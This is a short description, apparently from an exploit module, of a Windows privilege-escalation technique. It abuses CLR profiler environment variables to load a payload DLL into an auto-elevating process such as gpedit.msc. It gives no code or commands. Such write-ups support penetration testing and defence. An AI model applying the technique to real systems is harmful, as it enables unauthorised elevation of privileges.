      Microsoft Windows allows for the automatic loading of a profiling COM object during
      the launch of a CLR process based on certain environment variables ostensibly to
      monitor execution.  In this case, we abuse the profiler by pointing to a payload DLL
      that will be launched as the profiling thread.  This thread will run at the permission
      level of the calling process, so an auto-elevating process will launch the DLL with
      elevated permissions.  In this case, we use gpedit.msc as the auto-elevated CLR
      process, but others would work, too.
